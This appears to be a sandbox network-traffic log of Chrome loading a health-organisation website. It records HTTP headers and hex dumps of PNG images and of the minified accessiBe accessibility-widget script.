2024-04-24 12:45:07 UTC	2023	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3d 00 00 00 3d 08 06 00 00 00 1e 62 61 e9 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 07 9e 49 44 41 54 68 43 ed 5a cd 6f 13 47 14 7f b3 bb b6 13 13 93 d0 16 5a 81 44 5c a9 1c 48 ab 02 42 aa a8 0a 8a 23 e2 43 d5 43 d2 73 0f f9 70 b8 f2 d1 3f a0 84 fe 01 6d b8 b4 87 e6 c3 fc 03 05 aa 96 4b 52 c5 40 b9 00 52 29 ad e8 81 4a 49 54 35 2a 45 2d 49 13 ec d8 de dd e9 7b 6b 6f 30 ce 7a 77 66 77 1d ab 12 7b 49 24 cf cc 9b df fc de bc f7 e6 bd c7 a0 05 5f ff e8 d8 59 c6 61 68 76 66 f2 48 0b c4 03 6b 85 50 04 3d 8e 82 cf cf 4e 4f b6 44 7e 4b 84 be 00 dd 02 55 f3 c5 74 6a 78 b8 2b 02 ea d0 6c 76 ea a2 9f 3d 07 65 fa 64 26 33 68 18 46 2e 97 cd ae f8 91 ef 0b 74 ff f0 58 8a 29 30 cf 01 ce cd 4d 4f 4e c8 Data Ascii: PNGIHDR==basBIT\|dIDAThCZoGZD\HB#CCsp?mKR@R)JIT5*E-I{ko0zwfw{I$_YahvfHkP=NOD~KUtjx+lv=ed&3hF.tX)0MON

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	50067	104.22.0.204	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	537	OUT	GET /apps/app/dist/js/app.js HTTP/1.1 Host: acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:45:07 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 309248 Connection: close x-guploader-uploadid: ABPtcPpu_2Ts5VmDA1VievQea24ZvccRo_oprPp9H5i8yDXSA1nx7sCQJx5IEaH0xu8ONREIGL4_izqg x-goog-generation: 1713715004064626 x-goog-metageneration: 3 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 309248 x-goog-hash: crc32c=r81Twg== x-goog-hash: md5=ZESq/m+1I18avju8TGAc0w== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: * expires: Thu, 24 Apr 2025 12:45:07 GMT Cache-Control: public, max-age=300, must-revalidate last-modified: Tue, 23 Apr 2024 06:25:11 GMT etag: "6444aafe6fb5235f1abe3bbc4c601cd3" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Server: cloudflare CF-RAY: 879630483aaf09f1-LAS
2024-04-24 12:45:07 UTC	516	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 69 2c 73 2c 6e 3d 7b 35 32 31 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 70 75 62 6c 69 63 50 61 74 68 3d 69 2e 70 2c 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 73 65 74 49 6e 69 74 69 61 6c 44 69 63 74 69 6f 6e 61 72 79 28 7b 22 61 63 63 65 73 73 77 69 64 67 65 74 2d 75 69 22 3a 7b 6f 70 65 6e 57 69 64 67 65 74 3a 22 4f 70 65 6e 20 61 63 63 65 73 73 69 42 65 3a 20 61 63 63 65 73 73 69 62 69 6c 69 74 79 20 6f 70 74 69 6f 6e 73 2c 20 73 74 61 74 65 6d 65 6e 74 20 61 6e 64 20 68 65 6c 70 22 2c 53 52 5f 54 52 49 47 47 45 52 5f 42 55 54 54 4f 4e 3a 22 55 73 65 20 57 65 62 73 69 74 65 20 49 6e 20 61 20 53 63 72 65 65 6e 2d 52 65 61 64 65 72 20 4d 6f 64 65 22 2c 53 4b 49 50 5f Data Ascii: (()=>{var e,t,i,s,n={521:(e,t,i)=>{i.chunkedI18n__.publicPath=i.p,i.chunkedI18n__.setInitialDictionary({"accesswidget-ui":{openWidget:"Open accessiBe: accessibility options, statement and help",SR_TRIGGER_BUTTON:"Use Website In a Screen-Reader Mode",SKIP_
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 65 61 64 65 72 47 72 65 65 74 46 6f 72 57 69 6e 64 6f 77 73 22 3a 22 50 72 65 73 73 20 41 6c 74 2b 31 20 66 6f 72 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 20 6d 6f 64 65 2c 20 41 6c 74 2b 30 20 74 6f 20 63 61 6e 63 65 6c 22 2c 22 70 72 65 6c 6f 61 64 65 72 2e 73 63 72 65 65 6e 52 65 61 64 65 72 47 72 65 65 74 46 6f 72 4d 61 63 22 3a 22 50 72 65 73 73 20 4f 70 74 69 6f 6e 2b 31 20 66 6f 72 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 20 6d 6f 64 65 2c 20 4f 70 74 69 6f 6e 2b 30 20 74 6f 20 63 61 6e 63 65 6c 22 2c 22 70 72 65 6c 6f 61 64 65 72 2e 73 63 72 65 65 6e 52 65 61 64 65 72 47 72 65 65 74 46 6f 72 54 6f 75 63 68 44 65 76 69 63 65 22 3a 22 46 6f 72 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 20 6d 6f 64 65 20 2d 20 63 6c 69 63 6b 20 74 68 65 20 66 69 72 Data Ascii: eaderGreetForWindows":"Press Alt+1 for screen-reader mode, Alt+0 to cancel","preloader.screenReaderGreetForMac":"Press Option+1 for screen-reader mode, Option+0 to cancel","preloader.screenReaderGreetForTouchDevice":"For screen-reader mode - click the fir
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 5f 54 45 4c 45 50 48 4f 4e 45 5f 4c 49 4e 4b 3a 22 43 6c 69 63 6b 20 74 6f 20 43 61 6c 6c 22 2c 46 52 4f 4e 54 5f 45 4d 41 49 4c 5f 4c 49 4e 4b 3a 22 43 6c 69 63 6b 20 74 6f 20 73 65 6e 64 20 61 6e 20 65 6d 61 69 6c 22 2c 53 45 4c 45 43 54 5f 4f 50 54 49 4f 4e 3a 22 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e 22 2c 43 41 52 54 3a 22 43 61 72 74 22 2c 46 52 4f 4e 54 5f 50 44 46 5f 4c 49 4e 4b 3a 22 54 68 69 73 20 6c 69 6e 6b 20 77 69 6c 6c 20 6f 70 65 6e 20 61 20 50 44 46 20 64 6f 63 75 6d 65 6e 74 22 2c 50 52 4f 43 45 53 53 49 4e 47 5f 44 41 54 41 5f 50 4c 45 41 53 45 5f 57 41 49 54 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 74 68 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 67 69 76 65 20 69 74 20 61 20 66 65 77 20 73 65 63 6f 6e 64 73 2e 2e 2e 22 2c 46 Data Ascii: _TELEPHONE_LINK:"Click to Call",FRONT_EMAIL_LINK:"Click to send an email",SELECT_OPTION:"Select an option",CART:"Cart",FRONT_PDF_LINK:"This link will open a PDF document",PROCESSING_DATA_PLEASE_WAIT:"Processing the data, please give it a few seconds...",F
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 73 79 6e 63 20 65 3d 3e 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 67 65 74 44 69 63 74 69 6f 6e 61 72 79 28 65 29 2c 73 65 74 4f 6e 43 68 61 6e 67 65 3a 65 3d 3e 69 2e 63 68 75 6e 6b 65 64 49 31 38 6e 5f 5f 2e 6f 6e 43 68 61 6e 67 65 3d 65 7d 7d 2c 31 37 32 3a 28 65 2c 74 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 74 2c 7b 46 4b 3a 28 29 3d 3e 76 2c 58 58 3a 28 29 3d 3e 24 2c 66 46 3a 28 29 3d 3e 6e 2c 68 3a 28 29 3d 3e 41 2c 71 36 3a 28 29 3d 3e 57 7d 29 3b 76 61 72 20 73 2c 6e 2c 61 2c 6f 2c 72 2c 6c 2c 63 2c 64 2c 75 3d 7b 7d 2c 68 3d 5b 5d 2c 70 3d 2f 61 63 69 74 7c 65 78 28 3f 3a 73 7c 67 7c 6e 7c 70 7c 24 29 7c 72 70 68 7c 67 72 69 64 7c 6f 77 73 7c 6d 6e 63 7c 6e 74 77 7c 69 6e 65 5b 63 68 5d 7c 7a 6f 6f 7c 5e 6f 72 Data Ascii: sync e=>i.chunkedI18n__.getDictionary(e),setOnChange:e=>i.chunkedI18n__.onChange=e}},172:(e,t,i)=>{"use strict";i.d(t,{FK:()=>v,XX:()=>$,fF:()=>n,h:()=>A,q6:()=>W});var s,n,a,o,r,l,c,d,u={},h=[],p=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|grid\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^or
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 64 20 30 2c 73 2e 5f 5f 65 21 3d 6f 26 26 46 28 73 29 2c 73 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 76 61 72 20 74 2c 69 3b 69 66 28 6e 75 6c 6c 21 3d 28 65 3d 65 2e 5f 5f 29 26 26 6e 75 6c 6c 21 3d 65 2e 5f 5f 63 29 7b 66 6f 72 28 65 2e 5f 5f 65 3d 65 2e 5f 5f 63 2e 62 61 73 65 3d 6e 75 6c 6c 2c 74 3d 30 3b 74 3c 65 2e 5f 5f 6b 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 69 66 28 6e 75 6c 6c 21 3d 28 69 3d 65 2e 5f 5f 6b 5b 74 5d 29 26 26 6e 75 6c 6c 21 3d 69 2e 5f 5f 65 29 7b 65 2e 5f 5f 65 3d 65 2e 5f 5f 63 2e 62 61 73 65 3d 69 2e 5f 5f 65 3b 62 72 65 61 6b 7d 72 65 74 75 72 6e 20 46 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 77 28 65 29 7b 28 21 65 2e 5f 5f 64 26 26 28 65 2e 5f 5f 64 3d 21 30 29 26 26 6f 2e 70 75 73 68 28 65 29 26 26 21 6b 2e 5f 5f 72 2b Data Ascii: d 0,s.__e!=o&&F(s),s}function F(e){var t,i;if(null!=(e=e.__)&&null!=e.__c){for(e.__e=e.__c.base=null,t=0;t<e.__k.length;t++)if(null!=(i=e.__k[t])&&null!=i.__e){e.__e=e.__c.base=i.__e;break}return F(e)}}function w(e){(!e.__d&&(e.__d=!0)&&o.push(e)&&!k.__r+
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 73 2c 6e 2e 6b 65 79 2c 6e 2e 72 65 66 3f 6e 2e 72 65 66 3a 6e 75 6c 6c 2c 6e 2e 5f 5f 76 29 3a 6e 29 3f 28 6e 2e 5f 5f 3d 65 2c 6e 2e 5f 5f 62 3d 65 2e 5f 5f 62 2b 31 2c 72 3d 78 28 6e 2c 69 2c 6f 3d 73 2b 75 2c 64 29 2c 6e 2e 5f 5f 69 3d 72 2c 61 3d 6e 75 6c 6c 2c 2d 31 21 3d 3d 72 26 26 28 64 2d 2d 2c 28 61 3d 69 5b 72 5d 29 26 26 28 61 2e 5f 5f 75 7c 3d 31 33 31 30 37 32 29 29 2c 6e 75 6c 6c 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 61 2e 5f 5f 76 3f 28 2d 31 3d 3d 72 26 26 75 2d 2d 2c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 2e 74 79 70 65 26 26 28 6e 2e 5f 5f 75 7c 3d 36 35 35 33 36 29 29 3a 72 21 3d 3d 6f 26 26 28 72 3d 3d 3d 6f 2b 31 3f 75 2b 2b 3a 72 3e 6f 3f 64 3e 6c 2d 6f 3f 75 2b 3d 72 2d 6f 3a 75 2d 2d 3a 75 3d 72 3c 6f 26 26 72 Data Ascii: s,n.key,n.ref?n.ref:null,n.__v):n)?(n.__=e,n.__b=e.__b+1,r=x(n,i,o=s+u,d),n.__i=r,a=null,-1!==r&&(d--,(a=i[r])&&(a.__u\|=131072)),null==a\|\|null===a.__v?(-1==r&&u--,"function"!=typeof n.type&&(n.__u\|=65536)):r!==o&&(r===o+1?u++:r>o?d>l-o?u+=r-o:u--:u=r<o&&r
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 29 73 26 26 69 5b 74 5d 3d 3d 3d 73 5b 74 5d 7c 7c 44 28 65 2e 73 74 79 6c 65 2c 74 2c 69 5b 74 5d 29 7d 65 6c 73 65 20 69 66 28 22 6f 22 3d 3d 3d 74 5b 30 5d 26 26 22 6e 22 3d 3d 3d 74 5b 31 5d 29 61 3d 74 21 3d 3d 28 74 3d 74 2e 72 65 70 6c 61 63 65 28 2f 28 50 6f 69 6e 74 65 72 43 61 70 74 75 72 65 29 24 7c 43 61 70 74 75 72 65 24 2f 69 2c 22 24 31 22 29 29 2c 74 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 69 6e 20 65 3f 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 6c 69 63 65 28 32 29 3a 74 2e 73 6c 69 63 65 28 32 29 2c 65 2e 6c 7c 7c 28 65 2e 6c 3d 7b 7d 29 2c 65 2e 6c 5b 74 2b 61 5d 3d 69 2c 69 3f 73 3f 69 2e 75 3d 73 2e 75 3a 28 69 2e 75 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 61 Data Ascii: )s&&i[t]===s[t]\|\|D(e.style,t,i[t])}else if("o"===t[0]&&"n"===t[1])a=t!==(t=t.replace(/(PointerCapture)$\|Capture$/i,"$1")),t=t.toLowerCase()in e?t.toLowerCase().slice(2):t.slice(2),e.l\|\|(e.l={}),e.l[t+a]=i,i?s?i.u=s.u:(i.u=Date.now(),e.addEventListener(t,a
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 73 3d 68 2e 73 74 61 74 65 29 2c 6e 75 6c 6c 21 3d 54 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 50 72 6f 70 73 26 26 28 68 2e 5f 5f 73 3d 3d 68 2e 73 74 61 74 65 26 26 28 68 2e 5f 5f 73 3d 67 28 7b 7d 2c 68 2e 5f 5f 73 29 29 2c 67 28 68 2e 5f 5f 73 2c 54 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 50 72 6f 70 73 28 5f 2c 68 2e 5f 5f 73 29 29 29 2c 62 3d 68 2e 70 72 6f 70 73 2c 41 3d 68 2e 73 74 61 74 65 2c 68 2e 5f 5f 76 3d 74 2c 70 29 6e 75 6c 6c 3d 3d 54 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 50 72 6f 70 73 26 26 6e 75 6c 6c 21 3d 68 2e 63 6f 6d 70 6f 6e 65 6e 74 57 69 6c 6c 4d 6f 75 6e 74 26 26 68 2e 63 6f 6d 70 6f 6e 65 6e 74 57 69 6c 6c 4d 6f 75 6e 74 28 29 2c 6e 75 6c 6c 21 3d 68 2e 63 6f 6d 70 Data Ascii: s=h.state),null!=T.getDerivedStateFromProps&&(h.__s==h.state&&(h.__s=g({},h.__s)),g(h.__s,T.getDerivedStateFromProps(_,h.__s))),b=h.props,A=h.state,h.__v=t,p)null==T.getDerivedStateFromProps&&null!=h.componentWillMount&&h.componentWillMount(),null!=h.comp
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 72 6f 70 73 2e 63 68 69 6c 64 72 65 6e 3a 75 29 3f 44 3a 5b 44 5d 2c 74 2c 69 2c 73 2c 61 2c 6f 2c 72 2c 6c 2c 63 2c 64 29 2c 68 2e 62 61 73 65 3d 74 2e 5f 5f 65 2c 74 2e 5f 5f 75 26 3d 2d 31 36 31 2c 68 2e 5f 5f 68 2e 6c 65 6e 67 74 68 26 26 72 2e 70 75 73 68 28 68 29 2c 45 26 26 28 68 2e 5f 5f 45 3d 68 2e 5f 5f 3d 6e 75 6c 6c 29 7d 63 61 74 63 68 28 65 29 7b 74 2e 5f 5f 76 3d 6e 75 6c 6c 2c 63 7c 7c 6e 75 6c 6c 21 3d 6f 3f 28 74 2e 5f 5f 65 3d 6c 2c 74 2e 5f 5f 75 7c 3d 63 3f 31 36 30 3a 33 32 2c 6f 5b 6f 2e 69 6e 64 65 78 4f 66 28 6c 29 5d 3d 6e 75 6c 6c 29 3a 28 74 2e 5f 5f 65 3d 69 2e 5f 5f 65 2c 74 2e 5f 5f 6b 3d 69 2e 5f 5f 6b 29 2c 6e 2e 5f 5f 65 28 65 2c 74 2c 69 29 7d 65 6c 73 65 20 6e 75 6c 6c 3d 3d 6f 26 26 74 2e 5f 5f 76 3d 3d 3d 69 2e 5f 5f Data Ascii: rops.children:u)?D:[D],t,i,s,a,o,r,l,c,d),h.base=t.__e,t.__u&=-161,h.__h.length&&r.push(h),E&&(h.__E=h.__=null)}catch(e){t.__v=null,c\|\|null!=o?(t.__e=l,t.__u\|=c?160:32,o[o.indexOf(l)]=null):(t.__e=i.__e,t.__k=i.__k),n.__e(e,t,i)}else null==o&&t.__v===i.__
2024-04-24 12:45:07 UTC	1369	IN	Data Raw: 68 74 6d 6c 3d 3d 3d 70 2e 5f 5f 68 74 6d 6c 7c 7c 68 2e 5f 5f 68 74 6d 6c 3d 3d 3d 65 2e 69 6e 6e 65 72 48 54 4d 4c 29 7c 7c 28 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 68 2e 5f 5f 68 74 6d 6c 29 2c 74 2e 5f 5f 6b 3d 5b 5d 3b 65 6c 73 65 20 69 66 28 70 26 26 28 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 29 2c 43 28 65 2c 66 28 67 29 3f 67 3a 5b 67 5d 2c 74 2c 69 2c 6e 2c 61 26 26 22 66 6f 72 65 69 67 6e 4f 62 6a 65 63 74 22 21 3d 3d 46 2c 6f 2c 72 2c 6f 3f 6f 5b 30 5d 3a 69 2e 5f 5f 6b 26 26 45 28 69 2c 30 29 2c 6c 2c 63 29 2c 6e 75 6c 6c 21 3d 6f 29 66 6f 72 28 64 3d 6f 2e 6c 65 6e 67 74 68 3b 64 2d 2d 3b 29 6e 75 6c 6c 21 3d 6f 5b 64 5d 26 26 62 28 6f 5b 64 5d 29 3b 6c 7c 7c 28 64 3d 22 76 61 6c 75 65 22 2c 76 6f 69 64 20 30 21 3d 3d 6d 26 26 28 6d 21 3d 3d Data Ascii: html===p.__html\|\|h.__html===e.innerHTML)\|\|(e.innerHTML=h.__html),t.__k=[];else if(p&&(e.innerHTML=""),C(e,f(g)?g:[g],t,i,n,a&&"foreignObject"!==F,o,r,o?o[0]:i.__k&&E(i,0),l,c),null!=o)for(d=o.length;d--;)null!=o[d]&&b(o[d]);l\|\|(d="value",void 0!==m&&(m!==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	50065	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	781	OUT	GET /wp-content/uploads/2023/11/NQL-HH-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:07 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Content-Length: 594785 Connection: close Last-Modified: Thu, 16 Nov 2023 13:56:21 GMT ETag: "65561f85-91361" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:07 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd 6f c8 5f e7 79 1f f0 af 8c ca a6 a6 10 05 42 ad 94 81 63 4b 5b 30 a4 b5 5c ca ea ec d6 b1 0d de 92 b2 b4 ab 4d 30 76 cc 8a 5d 6c b6 bc 48 40 49 1a 62 b7 35 a1 98 44 0e 6d 52 41 0b cb 0b 99 da 30 62 9b 32 ec ac cb 68 d2 19 6c 1f dd b5 5f 94 5a 61 19 26 9b 64 c5 30 16 d9 04 a2 b0 ac de 88 a8 c6 71 8f 5c 45 d6 bf e7 3c cf ef 79 ce 9f cf e7 8d 4c 88 fd dc e7 5c 47 bf e7 77 ee f3 3d d7 b5 ed f4 e9 d3 01 00 00 00 00 00 00 00 00 60 ed ae 70 ce 00 00 00 00 00 00 00 00 00 86 11 c0 02 00 00 00 00 00 00 00 00 18 48 00 0b 00 00 00 00 00 00 00 00 60 20 01 2c 00 00 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATxo_yBcK[0\M0v]lH@Ib5DmRA0b2hl_Za&d0q\E<yL\Gw=`pH` ,
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 5e 76 3b 9a 5f 34 1b 4f 01 0f 7c d1 b1 a3 47 5c d7 f9 73 6e f1 7d f7 bb 07 ef 5f 12 9b f7 c3 60 0a ed 84 d1 06 4e c7 c3 82 2a 8d 15 5b f9 6a 28 ed e3 1b 6f 1d 70 8f af 5b 1d 68 1c 05 65 34 f7 56 d4 d2 34 a8 52 54 22 1c ae fa 95 33 68 69 8b cf 59 05 7b cf 9c e9 e4 88 02 00 46 a5 ef 6a 33 99 93 a7 38 4a 00 00 24 13 01 2c 00 00 92 ed bb cc 2f 00 20 69 54 51 69 fc f8 09 5e d0 6a 6a 6a b2 9b 34 69 62 5e e1 8b 39 0d 5f 6c 5f a5 2a 45 5d 17 b2 ee f8 b1 e3 25 6d 19 64 11 b6 28 76 c1 5f fb 7c e5 4a cf cd 30 9a 8c 1f 37 d6 4d bf 7b 5a 68 01 16 55 57 b1 0a 71 28 64 67 65 a4 40 83 05 bd 9e ce 9d eb 8a 7c 8b c8 b8 d3 fc ed dd d3 e6 8e 1f 3b ea 96 35 36 7a 2d ea e2 16 c4 6a de fe 92 6b 6c 5c 6e f6 5a 54 85 28 8b 63 a0 80 e2 9e 3d 7b 4c b6 c9 a7 f3 c0 7d 4b 16 ba 6f de Data Ascii: ^v;_4O\|G\sn}_`N[j(op[he4V4RT"3hiY{Fj38J$,/ iTQi^jjj4ib^9_l_E]%md(v_\|J07M{ZhUWq(dge@\|;56z-jkl\nZT(c={L}Ko
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: e1 ab c1 8a 69 3f 09 00 09 a6 b5 10 02 58 00 80 bc 11 c0 02 00 00 40 c5 f1 2b 39 0d 6e 39 67 49 63 ea 8b 6b 8d af 20 d6 de 3d 6d 91 3a c4 a9 d4 94 bc 02 4d f9 86 94 ac 7d 7a ed 9a fb e0 d0 61 af 95 8b f5 62 59 31 61 32 2d 86 54 55 57 7b 15 14 8a a1 05 95 65 cb 96 99 b6 65 51 3b 95 30 5b 32 02 00 00 a0 30 ba 36 d3 35 5a a9 af 9d c3 a4 fd c9 27 84 e3 b7 6d 8f 03 bf d2 93 aa 8a 75 5d c8 06 fe 7d d0 6f 4d 5f 2c fd 7e d2 bc fd a5 48 1d 39 bf fd e4 dc b9 df 77 3b 9a 9b a9 86 05 00 00 00 e4 89 00 16 00 a0 50 8b 39 62 00 e2 2a ec e0 d5 50 7e 10 2b 3d ab de b5 b4 b4 9a b4 a6 b0 30 73 66 fd 88 15 9d 74 8c 66 a5 67 8f d8 96 2f 4c 5a e0 e9 38 fc eb 50 ee b4 f6 e7 5e f3 51 8c c7 d7 ad 76 b3 ea 67 b8 f6 83 6f e7 15 7c f2 8f e3 fc 79 73 43 59 84 d3 76 00 00 00 20 5a 5a Data Ascii: i?X@+9n9gIck =m:M}zabY1a2-TUW{eeQ;0[2065Z'mu]}oM_,~H9w;P9b*P~+=0sftfg/LZ8P^Qvgo\|ysCYv ZZ
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 57 f5 6b a0 61 fd fe d2 ba 74 e5 67 4a c9 f7 3d 88 a3 94 4b 11 0a c3 c4 e5 cb 5c ab b2 45 58 46 ba e4 a4 c3 8a b2 61 44 c9 64 77 2b b3 9c 4a 4a bb 92 c9 ee 56 39 2a 6d ba 33 ad 6a 83 54 80 25 58 e8 f7 23 c2 6a e3 42 e6 45 34 d4 e6 18 ef c2 16 b1 3b 91 44 68 e3 51 1d e2 54 cb 62 13 60 f9 92 0a a9 77 a5 24 94 fc a0 ec f3 48 5a 90 34 94 fd a2 b1 c5 54 15 da 08 ae 25 c3 8c 50 42 49 e0 12 00 39 ce 8b 84 e3 e7 e2 63 f2 21 c2 72 ba c4 32 8e 59 7a c5 59 3a 45 58 cd 37 39 b7 07 b8 12 61 d9 cf 75 d9 b7 dd 08 b0 5a be 9b f9 f9 93 b4 9c b1 58 90 d5 d8 70 9e 9a 9a 2e 59 ff 16 a3 9e 1e 54 da 46 91 08 2b f3 b6 ca 8d c8 ed 50 da 63 7a 38 97 1a 12 a9 54 85 7b 0e 95 d2 ee 2f 90 aa 10 e8 87 9d 93 1e f8 ce 8c a2 7e 0e 85 40 c7 19 9e 43 c8 87 93 d9 1f df 78 8b 36 6e d8 d0 46 Data Ascii: WkatgJ=K\EXFaDdw+JJV9*m3jT%X#jBE4;DhQTb`w$HZ4T%PBI9c!r2YzY:EX79auZXp.YTF+Pcz8T{/~@Cx6nF
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 81 2b 93 57 8a 86 ea 96 2a 66 70 00 29 76 b7 ed 2e 93 c5 b3 88 15 1e 33 56 5f 69 55 b1 aa ff 1f 2e ea ef 5e fd d5 14 db 7e 5d 35 58 56 e3 8f 79 af 90 b8 0e 55 db d6 31 63 7f 52 06 23 fc 38 d2 81 52 17 49 d1 50 ff 35 38 dd 39 14 8d 55 8e 59 79 6d f7 3d 1f b2 d9 4e 68 6b 1f 09 99 96 f6 40 dc 9e 3f d0 67 34 5c 55 42 38 ab 8e 2a ad ee 34 54 bf 39 7c d0 ab 30 73 dc cb 30 63 ea 7b 20 d3 fa 1e 78 7e e7 eb 16 7d 61 1a 99 b7 df 7e 1b 1e dc fc 00 fc f7 9f 1f 87 d9 b3 67 c1 e0 c1 83 ab 7a 1b b8 0e 5d 7e 05 3c fe d8 63 75 db 92 6d db 9e 86 3b ee b8 23 98 07 9a 38 71 42 cd da 5d bf 7e 43 30 bf 52 2b c4 43 7f 57 7d ed ab 30 62 c4 f0 9a b5 19 22 e6 b9 4e 38 e1 04 78 f8 91 47 e0 c5 5d bb 48 62 0a 17 af 85 e7 7c 8a 24 56 c8 8d df f9 1e 3c fe 78 fd 8e 45 86 39 48 19 7e cb Data Ascii: +Wfp)v.3V_iU.^~]5XVyU1cR#8RIP589UYym=Nhk@?g4\UB84T9\|0s0c{ x~}a~gz]~<cum;#8qB]~C0R+CW}0b"N8xG]Hb\|$V<xE9H~
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 35 41 ed 3c 8b ea ae c6 41 c3 52 85 d2 f7 d1 21 eb ec dc 58 c7 5d e9 17 ff 90 5d e1 fa bf cc ea 55 05 cf ae 51 ba 9b 19 ab 2b a7 fe fb 0a 17 cf e8 bb 8f bc 46 63 b9 8f be 10 fa 91 50 bc b8 bb bc f1 40 d2 92 eb 84 8e ae 29 d0 d1 35 09 5a b2 83 14 23 41 d0 d9 e2 be c1 54 74 cc fa 7d 30 77 c2 13 b0 f4 33 1e 7c f0 a8 43 d2 f7 81 21 45 b8 61 89 65 a0 f0 85 0b 97 c0 f1 3d dd a4 5b 7b fd ea 35 81 3b be 4b 4e 3b fd 0c e3 87 3e 43 11 16 97 23 64 18 a6 09 e0 dc 36 c3 10 c2 02 2c 86 a1 e5 71 1e 4f 86 61 98 fa 22 9e 2c bb e1 86 ef 90 f5 41 94 21 64 18 19 c7 1d 7b 18 5c 7e e1 10 38 f9 03 cf c7 de 8d df 62 97 53 f2 6a c1 15 ee b6 dc d6 f9 a6 2c bc 9a 01 2d b9 e1 56 31 50 ed 19 26 53 4d 73 a0 15 82 23 55 12 14 99 1c ed 97 37 f8 64 19 c0 c0 d0 47 22 9a d0 ae 63 d4 ae 59 Data Ascii: 